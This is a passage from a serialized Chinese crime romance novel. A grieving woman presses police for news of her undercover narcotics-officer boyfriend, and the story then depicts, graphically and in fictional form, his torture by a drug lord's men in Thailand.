她把保洁公司经理和钟点阿姨叫到医院,质问阿姨昨天的饭菜是不是没有用心,冰箱里拿出来的东西是不是没有加热。 阿姨很惶恐,对待她这样失去宝宝、冷漠愤怒又有钱的雇主,已经吓得六神无主。她解释一切都是按照梁然的交代来,冰箱里拿出的食物也都经过彻底加热。 梁然请了检测机构去家里检查冰箱的细菌环境。 她不会污蔑阿姨的清白,也不想放过犯错的人。 同样的,她把昨天去过的那家饭店也投诉了。即便只是在那里喝了一口水,有没有可能是水不干净才害了她的宝宝。 她此刻怀着最大的恶意,也许只有靠这些恶意撑着才能挨过心里的疼。 这些都交给了梁然聘请的律师在办,梁然在医院躺了三天,回到了家里。 进门的时候,新的钟点阿姨好像听说了她的事,对待她既恭敬又畏惧,说话都很是小心翼翼,做完饭就马上下班离开了。 这一整天,只有葡萄陪着梁然。 梁然抱着小猫,蜷在沙发上,巨大的LED宽幕里播放着她和沈宗野之前还没看完的电影,可她眼睛里没有光,看的也不是电影,眼神没有焦距落在遥远的虚空。 “葡萄,我是不是好没用,我好没用是不是?”梁然喃喃自语,滑下眼泪。 今天是沈宗野离开的第59天。 梁然想给他准备的惊喜都化作了虚无。 她打开了音乐,是她喜欢的一首法语歌,她曾经在宁城时放着这首歌,和沈宗野在酒店昏暗的房间里虚情假意地跳过一支探戈。 轻轻踮起脚尖,梁然抬手搭在虚空里,望着落地窗亮洁的倒映,蓝色裙摆飘动旋转。 摩天大厦就在这面落地窗后,繁华的城市高楼林立。 这个社会在和谐平稳地运转,隐蔽线上的沈宗野在这片繁华背后很远很远的地方。 梁然想他。 她的想念是无声的探戈,是蓝色的、从风里跃动的裙摆。 梁然倒在床上,她想象是沈宗野的压迫,是他的亲昵和拥抱。 她闭上眼睛睡过去,竟在这场白昼里真的睡着了。 但却被梦魇缠身。 她的梦里什么都看不见,只有满地鲜红的血。 刀子割过骨髓的疼痛遍布身体,她无论怎么挣扎都醒不过来。 汗水淋漓,她眉眼痛苦地紧蹙。 直到鲜红的梦境里破出一片绿色的草野,她终于睁开眼,坐起身大口地喘息。 她看着她的手臂,摸着她的心口。 刚才的疼那么真实,为什么? 沈宗野在哪里,他到底过得怎么样,什么时候可以回来? 梁然拨起谢天明的电话,手指还有些颤抖。 听筒里还是提示关机。 …… 两天后,检测机构出了结果,梁然家中的冰箱和那家饭店都没有检测出李斯特菌。 梁然不知道怎么接受这个结果,难道她的痛是她一手造成的?她好像有些着魔了,不相信检测结果,是不是那家饭店提供了虚假的标本,或者提前消灭了证据?她竟然连医院也开始怀疑,她在想是不是她在医院哪个角落吸入到了细菌?她怀着最大的恶意,简直不像一个正常的善良的人。 直到她终于收到谢天明的电话,才短暂地被谢天明的声音从痛苦里抽离出来。 “嫂子,不好意思啊,今天才回来,最近没接到你电话。” “你在忙案子吗?” “是啊,刚结束。嫂子,你感冒了?” 梁然的声音有些哭过的鼻音,她勉强浮起笑:“有点吧,你想吃火锅吗,我请你吃火锅。” “好啊,我请你。”谢天明说还是在上次的地址。 梁然收拾了下,她的皮肤本来就白,这几天的打击让她脸色更多了一种病倦的苍白,桃花眼也愈发清冷。她用了饱和度最浓的红色口红,脸颊扑了粉色的液体腮红,看不出苍白。 她收拾好,不想开车,叫了一辆豪华快车来接她。 今晚的车道上车流异常多,有两次都险些有车蹭过来,幸好司机及时避开。 司机也很奇怪:“怎么又是这辆车,会不会开车!” 梁然安静坐在后排,没有搭话,也没去留意。 她看着车窗外,明亮的灯光照亮这座繁华的城市。又是夜晚了,她又坚持了一天,离沈宗野回来又近了一天。 临到地方,刚才两次并过来的黑色汽车又差一点在拥挤的车流中撞上他们的车子,司机晦气地直接喷了句骂人的南城话。 火锅店外排着很长的队。 梁然下车时,司机好心提醒:“祝您用车愉快,请带好您的随身物品,注意后方来车。” 梁然便多看了眼后方,见那辆黑色汽车在快车停下后也只能略停下,等快车启动了也才正常驶向车道。 她走进火锅店的隔间。 谢天明早早定了位置,才免于在饭点排队。 梁然打量着谢天明,问他出了什么任务,有没有受伤。 谢天明说没受伤。 梁然问:“最近有沈宗野的消息吗,他在哪座城市,方便告诉我吗?” “嫂子,工作上的事不太方便,你见谅啊。”谢天明笑。 梁然说:“他最近还顺利吗?” “还挺顺利的。” “那是不是就快回来了?”梁然说,“犯人是已经有证据的,只需要抓捕归案就好,他已经去了这么久了……” 梁然认真看着谢天明,她最担心的是沈宗野的安全,她一直都很信任谢天明,每次都是谢天明笑着说起沈宗野很顺利她才放下心。 但现在看来沈宗野已经去了这么久,他不像最开始的时候需要调查董自新的罪证,他现在只需要把董自新缉拿归案就好,竟还要这么久的时间,便有些说不过去了。 “小谢,你没有骗我吗?” 火锅热气腾腾,白色雾气让谢天明脸上的深情有些模糊,等雾气散尽,梁然又见青年只是一如既往的笑脸。 “我怎么敢骗嫂子啊,卧槽,这个毛肚都烫老了!我重新给你烫一片。” 谢天明把毛肚放进自己碗里,又烫起一块新的,公筷夹起红汤里的毛肚,每一次上下都让毛肚边缘微微收卷。 梁然是吃不了辣的,出院的时候医生就叮嘱她她有条件,可以按照坐月子来养身体,先忌烟酒辛辣,补足休息。 谢天明弯腰要将毛肚夹到她碗里,梁然说:“我不吃。” 谢天明怔住,筷子一抖,那片毛肚又掉回了锅里。 梁然平静地看着他。 谢天明忙笑:“哦,我忘了嫂子你吃不了辣。那我吃!” 他埋头吃东西。 梁然终于才察觉到谢天明的异常。 他是一个缉毒警察,不会因为她一句“我不吃”就吓得把毛肚不小心掉进锅里,是因为别的? 梁然放下筷子:“沈宗野遇到危险了,是不是?” “没有的事,嫂子你别担心。” “你告诉我实话,我不要你骗我。” “嫂子……” “如果你不说,我就在这里和你聊毒贩。”梁然冰冷地打断他。 谢天明怔住。 梁然提高声音:“董自新……” “嫂子!”谢天明猛地说,“你别这样,沈哥他,沈哥他还在任务期间,等办完就能回来。” 梁然没有逼迫谢天明,她的神态死一般的冷寂,只是眼泪一瞬间汹涌滑落。 谢天明急了,手忙脚乱给她抽纸巾。 梁然一动不动,却几乎用了全力看着谢天明:“他出事了,是不是?” 谢天明不敢看她的眼神,垂眼当作给她递纸巾。 火锅里的汤翻滚,沸腾,辣椒浮在红亮的油层,煮老的食材都被高温掀浮起来。 梁然捂住脸,眼泪从指缝溢出。 谢天明终于嘶哑地开口:“他只是受了伤,他还好,沈哥他会平安的。” “你告诉我。”梁然说,“我求你了,没有人能告诉我他的情况,小谢,只有你能告诉我了,我请求你不要瞒我。” 谢天明垂下头:“你知道的嘛,那些人都很坏,沈哥去了肯定要先受一番折磨嘛,很正常的。”谢天明故作轻松,但声线却有些轻不可察的颤抖,“先去的同事给我们回电话说沈哥受了一点小罪,但是嫂子你放心,沈哥很厉害,一定可以好好回来的。” 谢天明在说谎。 事实根本不是这样。 在一个月前梁然请他吃火锅时,他就已经知道沈宗野在受罪了。 当时沈宗野身上的定位消失在泰国机场,过了一个星期后,一直失联的郑云深才终于找到机会和王局沟通,他说沈宗野在受折磨,董自新根本不信任沈宗野了。 只是郑云深跟的头儿只是头目之一,他根本没机会打听更多的消息,无法确定沈宗野具体的状况,当然更不可能得到董自新的位置信息。 上一次在这里,谢天明骗过了梁然,他实在愧对梁然。正好局里来了任务,他就去出任务了,回南城是上一周的事,但他不知道怎么面对梁然才一直没有和梁然联系。 因为这趟回来后,谢天明在王局那里又得知了更不好的消息。 半个月前,郑云深来了电话,声音有些哽咽,说沈宗野可能快不行了。王局还没有问到有用的信息,郑云深那边就有人声突然冒出,电话也马上被迫中断。 而后,郑云深的电话又在三个小时后回拨过来,可开口说的不是如常的交谈,不是正常的暗号,是最危险的暗语。 “杨师傅,修手机的钱不够还你了。” 这是郑云深和王局的暗语,他在说他暴露了,回不来了。 谢天明在出任务,那天没有在场,听说王局挂完这个电话就马上召开了会议,流下了一行眼泪。钟晓晴明明是喜欢沈宗野的,不知道什么时候喜欢上了郑云深,那天哭得死去活来。 可这些谢天明没有跟梁然说。 直到此刻,他都想瞒着梁然。 他知道梁然是沈宗野心爱的姑娘,沈宗野不希望让梁然难过。 梁然的脸笼罩在这团白色雾气中,泪水从她指缝溢出。 火锅店的隔间也不算隔音,只是多了一点私密性,在这里聊这些也不太合适。 谢天明打起精神劝着梁然:“嫂子,你别难过,你不相信沈哥吗?他很厉害的。” “你们的房子是不是装修好了?那么大的平墅我见都没见过呢,吃完饭带我去看看啊!” 梁然在哭泣。 心脏像是快撞破了肋骨,每一下抽搐跳动都很疼痛。她知道谢天明讲话有所保留,她不敢去接受这个结果。 他们的宝宝已经离开她了,她不能再失去沈宗野。 “你告诉我他在哪里,行不行?” “嫂子,你想做什么?”谢天明微眯眼眸,他在梁然面前一向嬉皮笑脸,这会儿却十分严肃,“嫂子,你别激动,这是我们的案子,你别做出什么傻事。” “有陈沥周的消息吗?”梁然擦掉眼泪,逼回泪水。 “嫂子,你……” 谢天明还是担心梁然会做出什么危险的举动,但被梁然打断。 “一个是我的男朋友,一个算是我的好朋友,我想知道他们的情况。”梁然用请求的语气,“你告诉我吧。” 谢天明犹豫了半晌才说:“目前新去的同事只打听到董自新是关押了一个人,但好吃好喝的供着,不像罚人的手段,还不知道是不是陈沥周。” 怎么还能不确定。 沈宗野之前告诉过她,陈沥周的奶奶就是董自新的母亲。 谢天明说:“嫂子,先吃东西吧,我看你脸色不太好,都怪我。咱不吃火锅了,我带你去吃点不辣的。” “没事,谢谢你告诉我。” “嫂子,你别做什么傻事啊,安心等着沈哥回来,他一定会平安的。” 梁然抿起苦涩的笑,点头。 这顿饭索然无味,梁然和谢天明都没有吃多久。 离开的时候,谢天明见梁然没有开车来,便说送她回去。 夜色愈发浓,道路上车流如织,无数的霓虹灯影点缀起南城的繁华。 梁然侧头望着车窗外倒退的灯影,游神的间隙,视线忽然从霓虹光团中聚焦到后方一辆黑车上。 看车型像刚才过来时两三次都差点刮到她乘坐的那辆快车的黑车。 “小谢,后面那辆黑车一直跟着我们吗?” 谢天明扫了眼后视镜:“应该是吧,刚刚拐弯的时候好像也在后面。” 梁然有些意外:“我打车来的时候有辆黑色车子两次差点撞上我坐的那辆车,不知道是不是后面这辆。” 谢天明表情一僵,眼神再冷冷扫一眼后视镜:“我试一下。” 前方交通岗的倒计时亮起,灯光变作红色,道路上的一列列汽车也依次停下。 谢天明故意临时变道,引起后面的车不满地按着喇叭。 直到绿灯亮起,谢天明拐过车道,假装在路边停下,去买水果摊贩的橘子。 他回到车上,继续往前行驶,一分钟后,那辆黑车隔着中间一辆小轿车,又徐徐行驶在了他们后面。 “有人跟踪你。”谢天明声音都变得严肃起来。 梁然很意外,如果她是被人跟踪,那这辆黑车是从她出门的那一刻就开始跟踪她的?跟踪她的人又是谁? 第115章 第115章“然然,新年快乐!”…… 谢天明让梁然坐好,他又变换了一条车道,拐弯时,后面的黑车也跟着他拐弯。 谢天明马上就拨打了王有为的电话,将情况说完。 王有为派了一辆警车过来,又在天眼系统查看此刻这台黑车的路况。 当鸣笛的警车朝他们的方向越驶越近时,那台黑车变换了车道,拐向了别的路线。 警车果然对黑车起了威慑作用。 警车拐向黑车的方向,距离那辆黑色汽车更近时黑车的油门都变快很多。但警车照常行驶,很快就拐出了这条车道,黑车才惊觉是一场虚惊,继续掉头驶向梁然家的方向。 王有为盯着路面监控,告诉谢天明:“车子停在梁然对面的一栋大楼了,你需要注意查看对面有无监视的人。” “收到。”谢天明已经跟着梁然进了家门,葡萄冲过来对他喵喵叫着,表示出好久不见的欢迎。 谢天明刚开口喊了声“嫂子”,梁然已经流下眼泪。 “沈宗野……出事了,是不是?” “嫂子,应该跟沈哥没关系。” “他牺牲了,是不是?”梁然要深吸气才能坚持自己说出这句话,可吸入肺腑的空气都像针扎似的将她心脏血肉戳得千疮百孔,“你告诉,别瞒我!” 跟踪她的是董自新的人对不对?是因为沈宗野缉毒警察的身份被暴露,他们知道她是他的女朋友,才来报复她,是这样吗? 梁然无法接受这个结果,她以为她知道沈宗野受点苦就已经够了,但现在他竟然可能已经是最坏的地步了,凭什么! “嫂子,沈哥没有牺牲,局里已经有新的同事在努力了,你要相信我们。” 没一会儿,梁然之前见过的女警田雪就来到梁然的家里。 她一身很职业的衬衫与西裤,鼻梁上架着一副没有度数的眼镜,提着公文包,化妆成梁然的工作助理来贴身保护梁然,也是方便搜集嫌疑人的信息。 往昔这个偌大的家里落地窗永远洁净明亮,能看到繁华的南城,现在四处遮着窗帘,躲避了城市的天光。往昔客厅的沙发上是梁然和沈宗野慵懒地靠在一起,现在谢天明和田雪在商讨案情。 梁然看了他们许久,她微红的眼眶里支着一股韧劲,像暴风雨中折弯的树,逆风强撑。 直到谢天明有些不忍,转头安慰她:“嫂子,你真的不要担心,还没有到最坏的地步,你要相信沈哥。” 她是相信沈宗野,可她不信那群没有底线的毒贩。 “小谢,他的任何消息你不要瞒我。” “我知道了,嫂子。” 梁然回到书房。 她坐在电脑前,忙不进去工作,看不进去设计图纸。 她低头转着无名指上的情侣戒指,打开抽屉,找出那两份孕检报告。 眼泪滴落在纸上。 这些美好如此短暂,在她的身体里留下无法磨灭的痕迹。她的宝宝来过了,又走了。而现在,她只祈求沈宗野不要再离开她。 这两份孕检报告没有存在的意义了。 这么难过的事情,她一个人痛过就好了。 梁然找出沈宗野曾经点过烟的打火机,拨动金属滚轮,窜起的蓝色火苗将纸张点燃,明黄的火焰吞掉文字,火苗瞬间攀升到B超照片的一角。 梁然忽然决绝地将火扑灭,不顾火苗的烫用手指拍灭火星。 火终于灭了,烧毁到B超照片的下缘,没有烧到她的宝宝。 梁然双肩颤抖,无声掉下眼泪。 她打开手机上的某薯app,点进她那条热度已经1万+点赞的笔记,新增的评论那么多,还有人在恭喜她查出怀孕。 梁然一遍遍滑过这些陌生的祝福,看着她怼网友的那些骄傲的回复,抿起唇笑了。 这个笔记也没有存在的必要了吧。 她找到删除的按钮,抬起的手指却迟迟没有落下。 那么多的祝福,那天那么骄傲的她,这辈子也许都不会再有那么骄傲的梁然了。 她终于还是没有点下删除,找到权限设置,将笔记锁成了自己可见。 退出后,梁然卸载了这个软件。 …… 朝阳照常升起。 谢天明没有观察到对面楼可能监视梁然的嫌疑人。 钟点阿姨早上来上班时,谢天明单独问梁然:“嫂子,不是你家之前的阿姨吗?” “嗯,季阿姨父亲住院,她请了长假要照顾,这个阿姨是保洁公司推荐的,应该没问题。” 谢天明观察了两天,阿姨确实没什么问题。 梁然家附近也没有查出有监视的痕迹,也许是嫌疑人实在太敏锐。 这两天梁然没有去公司上班,都在家里线上处理工作。 她每天都在谢天明接打电话时去听他的电话。 谢天明也不好意思回避她,知道她是担心沈宗野。 可梁然每次都没听到关于沈宗野的消息。 她的心越来越沉。 阿姨做完晚饭后就离开了。 梁然走出书房,谢天明在窗帘后支起的摄像机前坐着,田雪在门口的沙发上躺着看工作群里的消息。 “吃饭吧。”梁然坐下。 谢天明的手机忽然响起铃声,梁然抬眼看向他。 谢天明接起电话,这个电话不像平常的工作电话,他的脸色忽然很是凝重,下意识垂眸,避开梁然的方向。 梁然走到他身前,抢过他的手机,但通话已经结束了,是王局的来电。 “沈宗野有消息了是不是?”梁然冷声,“告诉我!” “嫂子,你别激动。”田雪走来安慰梁然。 谢天明垂着头,一颗泪滚落他鼻梁。 “沈哥没事,沈哥就是,就是不太好,但是还活着。” 心脏的疼快要撞破骨头,梁然几乎要崩溃,无力地蹲下身。 …… 沈宗野此刻在泰国,但他在哪座城市他也不知道。 他来的那天是被蒙着眼的。 和梁然分开那天,他穿过楼下花园,冬季的南城阳光温暖,光洒在他身上。他走出小区大门,修长笔劲的双腿迈下台阶,叫的出租车已经到了他面前。 但他还是停下了脚步,回头看了一眼。 阳光一地,万丈明媚。 也好啊,至少梁然生活在这片阳光下。 坐上出租车,沈宗野回复着徐川的电话,谈笑声激动又喜悦。 车子经过明汇路,他抬头看了眼他和梁然的新家。 锃亮光洁的蓝色玻璃上落满阳光。 他一定要回来,他要在这个家里给梁然幸福。 一段路上堵了车,沈宗野余光竟看见一家婚纱店。 洁白的拖尾婚纱挂在橱窗,阳光照耀下梦幻、洁净,车堵了好几分钟,沈宗野目光落在那件婚纱上,用手机拉进摄像头,拍下照片。 模特人台的脸在他眼里变作梁然明媚的脸,他轻轻弯起薄唇。 车子启动时,他敛下笑,神色冷淡删掉了照片。 出租车即将驶达目的地。 沈宗野最后拨通王有为的电话。 他沉默片刻,说:“叔,我想听你的。” “什么?” “干完这趟,我想听你的,换到你说的岗。你安排我去哪我就去哪儿。” 王有为真心把沈宗野当作自己的孩子,很早就为他铺了一条道。同样可以干缉毒,同样可以把他这样的精锐用于更权威的岗位,却是往晋升方向走,不让他再干危险的一线。 沈宗野说完了,回头看了眼南城的方向。 出租车在一条国道路口停下。沈宗野下了车,走向一条小道,找到了徐川指定的地点,那里有一辆黑色汽车在等他,他坐上车。 一路辗转,沈宗野也不知道身处何处,身上的手机早已经被没收走。 他在除夕那天来到了泰国,那时正是早上。 这里不知道是哪座城市,空气里有淡淡的咸辛,僻静的郊区植被茂密。 沈宗野在这里见到了董自新。 他神色欣喜若狂,但是瞧见董自新断掉的左臂,空荡的袖管垂着,他露出了遗憾痛心,张口辱骂起警察,切换进卧底的状态。 徐川和査帕都在董自新左右,还有门口很多持枪的武装人员。 董自新坐在一张沙发上,皮笑肉不笑地睨着沈宗野,灵活的右手懒洋洋弹起雪茄烟灰。 沈宗野只关心董自新的手臂:“董叔,手臂还会疼吗?您受苦了。” 董自新没搭理他,直到手上的雪茄抽得没劲了,才慢吞吞地问沈宗野:“还敢回来?” “当然啊,刚开始知道徐叔还好好的,我别提有多高兴。”重新恢复到卧底的警戒状态,沈宗野的眼角眉梢,举手投足的气质,微妙的气场全都做足了小人物的做派。 他兴高采烈,望向董自新的眼眸只有纯粹的信任。 董自新仍然是皮笑肉不笑,靠回沙发,摸着空荡荡的袖管:“那天警察是跟着你来的。” 沈宗野一愣:“是程哥,我也着了他的道!” “董叔,如果是我我不敢再来这里啊。” “程启天一个死人,你觉得我能信他的话么。” 董自新哂笑:“小沈啊,不要命的人我见过两种,一种是跟我一样狠,想赚大钱的毒贩。一种是缉毒警察。” “07年我弄死个警察,啧,身上那股子劲真勇啊,问他同伙是哪个,斧子怎么落下去都不吱声。11年我弄死个女警,来卧底的,细皮嫩肉,干起来也挺爽。”董自新笑,“你说,你是哪一种?” 沈宗野张口解释。 他的解释都可以成立,但董自新现在不信。 董自新踏出这间门,沈宗野被他们拖去了一间冰冷的屋子。 四面都是水泥墙,高高的一扇窗围满钢筋,屋子里各种刑具、绑人的木桩…… 他被铁链锁住手脚,扔到地上。 脚边一滩干结的血迹,不知道上一个在这里受刑的人是谁。 面前的男人扔给他一支注射器,里面已经混入了毒品。一左一右两个壮汉站在男人身后,手上有各种刑具。门口是两名持枪的武装人员。 男人也是中国人,操着普通话笑:“干咱们这行自己还没试过吧?尝尝滋味,微量的,死不了,就是能让你爽。” 沈宗野知道会有这一刻,他还是来了。 他跪趴在地上,看着那支毒品。 没有一个缉毒警察不痛恨这种东西,他们痛恨一切毒品,缉毒警察就算是死也不会碰毒品。 但沈宗野没得选。 他只要拒绝了,哪怕仅仅只是一丝迟疑,董自新都只会更加肯定他是一名卧底警察。 沈宗野没有犹豫拿起注射器。 所有抵触和恐惧都早已经在缉毒的信念里一次次铸成了坚固的碑。 他是一个专业的卧底,他是一个精锐的缉毒警察,他的动作丝毫没有迟疑。 铁链发出清脆的响,针头将要刺进皮肤时,注射器忽然被男人踹掉。 滚落一圈的注射器被男人身后两人重新踢到沈宗野面前,同时扔到他面前的还有一把钉子。 男人蹲下,高高将一个玻璃杯摔在沈宗野跟前。碎片四溅,玻璃折起的光芒锋利、刺眼。 男人笑:“别急嘛,先上点菜。” 沈宗野看着男人:“我怕这些,兄弟,还不如给我一个痛快,我选爽点的。” 如果不出沈宗野预料,这是董自新试探他符不符合一个缉毒警察的前戏。如果他毫不犹豫选择受刑,那董自新可以马上断定他就是一名警察。 男人冷笑一下:“你没得选。” 左右两个人一人压住沈宗野肩胛骨,一人来捏他的嘴。 沈宗野满眼畏惧,一个只想赚大钱的小毒贩当然也会害怕这些刑具,他眼里流露的都是恐惧。 “兄弟,我自己来。” 两人松开他。 沈宗野颤着手指抓起地上的碎片:“是不是我照着做了,董叔就会信任我?” 男人只是冷笑。 沈宗野将玻璃片放到口中,他喉结滑动,吞咽下去。 冰冷的尖锐物体滑过喉咙,一段刺痛落入了胃里。 他拿起钉子,残疾的拇指在捆绑时被弄破了硬茧,流着血。 他把钉子含入嘴里,钉子太长了,横穿到喉咙时卡不下去。胃里一阵翻江倒海,沈宗野干呕着,钉子冲出口腔,掉在地面,一地鲜血。那片刚才吞到身体里的玻璃又涌上了食道,随着气体重新回落进胃里。 “继续,别停啊。” 沈宗野重新捡起一颗短一点的钉子,这一次顺利吞进了食道。 他吞了五颗铁钉,咽了数不清多少片玻璃碎片。 嘴唇上,口腔里,食道中全都是血,顺着他唇角流进了脖子,染湿了黑色衬衫。 腹部开始刀割的疼痛,沈宗野蜷缩在地上,铁链在他抱紧腹部时发出清脆的响。 男人看好戏似的坐到了椅子上。 左右两个男人把注射器捡起来,尖锐的针头刺穿皮肤,扎进沈宗野手臂静脉。 沈宗野浑身颤抖。 身体忽然变得很轻,腹部和食道里的痛觉好像也变轻了,铁链撞响的声音他也听不到了。他像踩在轻飘飘的云里,四周一片绿色的草野。 “你叫什么名字?” “沈……” “淮”字刚要出口,沈宗野仅存的意识迅速回笼,身体熟悉的轻快麻木感让他马上明白过来这是他以前试过的吐真剂。 他们在用药物试他。 “宗,野。”他维系着原状,轻飘飘倒在地上,睁着失焦的眼睛一会儿阖上,一会儿又艰难地撑开眼皮。 他对这种药物有耐药性。 为这一天,他以前做过这样的试验,用痛苦换来此刻。 男人冷吸了口气,好像是觉得没探出劲爆的话有点失望。 “说真话哦,说真话就能回到你最想回的地方了,也不会受痛了。” “你叫什么名字?” “沈宗野。” “你最想回到哪里?” “我的网店,我的厂。” “干贩毒多久了?最想跟着谁干?” 男人又问起沈宗野很多引导性的话,沈宗野都答得没有破绽。 最后,男人问:“再问你最后一遍,你不回答刀子就要割你的肉,挑你的筋。” “你跟着我说,我是警察,宁城的案子就是我办的。” 沈宗野呆滞地跟着他说:“你跟着我说,我是?我不是警察,警察来了,董叔快跑……” 话没问到。 男人阴冷地起身离开了屋子。 …… 沈宗野的药性在天黑时消尽。 水泥砖房里亮着灯,高高的铁窗外面是漆黑的夜晚。 痛。 没有了药性,他的胃,肠道,喉咙都很痛。 那些铁钉和玻璃好像在身体里游行,每到一处他都割着血肉。 沈宗野解开衬衫纽扣,拿出藏在心口的平安符。 桃木牌子上刻着“永保平安”,背后是梁然名字的画,像游龙和云朵,组成一个“真”字,是梁然以前的名字。 身体太疼了。 沈宗野尽量找姿势蜷缩起来,深深望着这块平安符。 梁然说:如果想我的时候就看着它吧,看着它就是看见我。 沈宗野紧紧看着,它好像真的可以抵消他身体里的痛。 直到门外一串脚步声逼近,沈宗野才将它塞回衬衫里面,系住领口的纽扣。 进来的人还是刚才的男人和两名手下。 他又来逼问一遍,沈宗野又被迫吞了玻璃碎片。 男人说:“你真是条硬骨头,你只要招了就用不着受刑,董爷说了,你跟着他的时候也算是卖命,今天除夕,他会念着点旧情给你一个好下场,让你死得干脆点。” 沈宗野哽咽了,艰难地昂起脖子看着男人,一双湿润的眼眸把这份卧底在阴暗处,在刀尖上扮演得淋漓极致。 “让董叔别回国内了,国内好严,让董叔好好养好手臂吧,我不是警察,我想活,可是我不知道怎么证明我自己……” “我刚接触冰。毒的时候还是十五岁,那年我什么都不懂,一股劲往里闯,现在看来不是我能力好,是老子我运气好。哈哈哈。”沈宗野嗓音嘶哑,每说一个字都在痛。 他说:“我好想回到十五岁啊,就干个跑腿的,每个月挣的钱能泡妞,能让瞧不起我的人看得起就好。” 沈宗野的这份演技让男人都有些代入了,但男人只动容了一瞬间,抬手示意手下动手。 “真可惜你的手指头,还蛮好看的。你也别怪我,都是给董爷办事。今天过年,先剁你一根小手指,算便宜你了。” 沈宗野的脸被按到地上,手指被他们分开,左手的小指在粗钝的刀下被反复才切断。 非人的疼痛让他发出痛苦的闷哼,血从手指和口腔喷溅。 窗外的夜空升起了烟花。 绽放的声音传到沈宗野耳中,他艰难地抬起头,从狭小的铁窗眺望到七彩的烟花。 快零点了。 是新年了。 他们走了。 但是疼痛和折磨还在。 但是没关系,没关系啊,他答应了梁然他要撑下去,他答应了她要给她一个新家。 她现在应该在怀城和梁悦过年,葡萄陪在她身边。那只猫咪很乖巧,最会感知到主人的情绪,一定可以在梁然不开心的时候喵喵逗着梁然开心。 沈宗野趴在地上,抬头的力量都耗尽了,他就艰难地让下巴支着水泥地,眼睛灼灼看着窗外。 那片烟花升起,又落下,又升起,灿烂地绽放。 将他眼里的黑点成五彩斑斓。 他的眼眸浮起笑意。 “然然,新年快乐!” 他在心底无声说。 第116章 第116章一地红色,是他为缉毒…… 沈宗野反复被他们折磨。 吞钉,肋骨敲断,小指断了,无名指断了,脚趾的指甲一片片被拔下,膝盖被敲骨折。 他曾经在警校的课上听过的所有酷刑都在他身体上承受了一遍。 对沈宗野来说,这些刑罚都远胜过给他注射毒品。 董自新一直没有给他注射过毒,沈宗野能想到董自新有心留他,现在必须要拎清他的身份。 只要这一点存在,只要他熬过来,他就可以活下去。 这天,他们打开门,拖进来一个奄奄一息的青年。 青年垂着头,浑身浓重的血腥,被男人捏起下巴时,沈宗野看见,是郑云深。 是通话时暴露了的郑云深,为了不被他们逼问出战友,郑云深抢过枪朝自己开了一枪。 他的生命要走到了尽头,可缉毒远远没到尽头。 他看着沈宗野,沈宗野看着他。 他们不约而同升起各自的厌恶。 沈宗野目光很兴奋:“这么恨我……这是条子?” 男人丢给他一把刀:“是,捅死他。” 郑云深撑着最后一口气,是被注射了肾上腺素拖进来的,他早就已经不行了。 但是那把刀和他都被丢到沈宗野面前时,他还是抢先夺过了刀,狠狠刺进沈宗野腿上。 沈宗野痛得惊叫,他的声音低哑痛苦,早被铁钉不断划破,无法愈合的声带与喉腔痛到说不出话。 沈宗野根本没有力量和郑云深搏斗。 但在此刻,为了把戏演足,他拼了命地去和郑云深抢那把刀,身上千疮百孔,热烫的血无声涌动。 郑云深终于出师了,他说:“你才是警察,我不是!” 抢夺的刀子割破他们的手掌,最后郑云深扑倒在沈宗野身上狠狠咬到沈宗野的耳朵,在沈宗野的肩头咽了气。 刀落了。 热血流下了。 郑云深牺牲在他24岁的时候。 牺牲在沈宗野的肩膀上。 可是沈宗野必须推开他,恶狠狠地用最后的力气踹他,捂着流血的耳朵。 他的眼里只能有阴鸷的恨,不能流泪。 他眼底的猩红滚烫都只能是因为耳朵的伤。 郑云深的死让董自新暂时没有再用更残忍的酷刑折磨沈宗野。 沈宗野每天只是被被铁链抽打。 他的身上没有一块完好的皮肤。 他脖子上的平安符被男人发现,男人冷冷来拽,还以为是个值钱的东西,一看是块木头嫌弃地丢开了。可穿着平安符的黑色皮绳还是在日复一日的折磨里变成单薄的细线,快要断裂。 沈宗野用发抖的手指将黑色皮绳取下来,系成结。 他的左手只剩下完整的中指和食指,做这样的动作太慢了。 他小心翼翼地把皮绳再戴回脖子上,将平安符妥帖地藏进衬衫里。 身体好疼。 那些碎玻璃好像扎进了肌肉里头,他保持什么姿势都会痛。 夜晚来了。 狭小的铁窗外能看到月亮。 一轮弯月映在窗户外头。 沈宗野想起梁然问他为什么她的微信备注是月亮,想起她当时眼里明媚的光。 她现在应该休息了吧。 今天是周几啊?是周二,他大脑细细地数着他来这里后看过的一个个昼夜,他都记在了脑子里。 肋骨很疼。 膝盖也疼。 沈宗野趴在地上,他会用血画了一轮弯月。没办法,白天流的血太多了,地面上的总是干净不了。 他沾到血迹,颤抖的手指画下一轮弯月,弧线漂亮,像这轮月的主人。 他抿起薄唇一笑,然后又小心擦掉,毁灭他思念梁然的痕迹。 他躺在冷冰冰的地上,可以看到窗外那轮月,就够了。 …… 第二十天。 第二十五天。 折磨还在持续,只是刑法有些变少了,但是没有人会管沈宗野的死活。不知道是食道还是腹腔出血,他每天都会吐出鲜血,他身体里的铁钉和玻璃碎渣每时每刻都折磨得他痛不欲生。 沈宗野找到了很好的办法,想着梁然。 他去想他们在宁城初遇的样子。 他去想梁然第一次主动吻他的样子。 去想他们在南城第一次做。爱的时候。 只要想着梁然,这些疼和痛都会减轻。 今天应该是梁然来例假的日子。 沈宗野算着,如果她那天吃了避孕药的话例假是不是会提前呢,她肚子会不会疼? 他忽然很自责,那天不应该不做措施,那天他太疯狂了,一丝自控也无,给到了极致,梁然的身体会不会不舒服? 如果这周是她的例假,她应该很希望他留在南城,她夜晚睡觉时侧过身就能抱到他。 沈宗野紧紧按着断开的肋骨处。 他要撑下去。 他必须活着回到梁然身边。 第三十天。 第四十天。 第五十天。 沈宗野觉得他的身体已经熬不过意志时,这一天,徐川终于出现在他面前。 沈宗野蜷在地上,身体的疼让他没有力气,可也仿佛已经与疼痛共生。 他艰难地抬头看着徐川,流下眼泪。 徐川蹲到他跟前:“你招了比什么都好。” “我要招什么?”沈宗野说,“徐叔,我后悔跟你过来了,如果我在这儿交代了,你能不能把我弄回国内啊?我老家是南城的,住在临县黄茶镇,你随便把我的骨灰丢在哪都行,我想埋在我老家。” 徐川什么也没说,起身离开。 沈宗野不知道他能不能赌赢。 董自新用人标准很忌讳手底下的人吸毒,不会容许任何一个手下沾上毒瘾坏他的事。 他们至今都没用毒品逼供他,只是使用抑制中枢神经的吐真剂引诱他的真心话,可见董自新给了他一条生路。 沈宗野知道董自新没想放弃国内天使糖巨大的市场,但是他之前手段太狠了,杀光了全部货主,他现在需要真心替他卖命的人,可名声已经臭了。 沈宗野赌的是这个机会。 第五十六天。 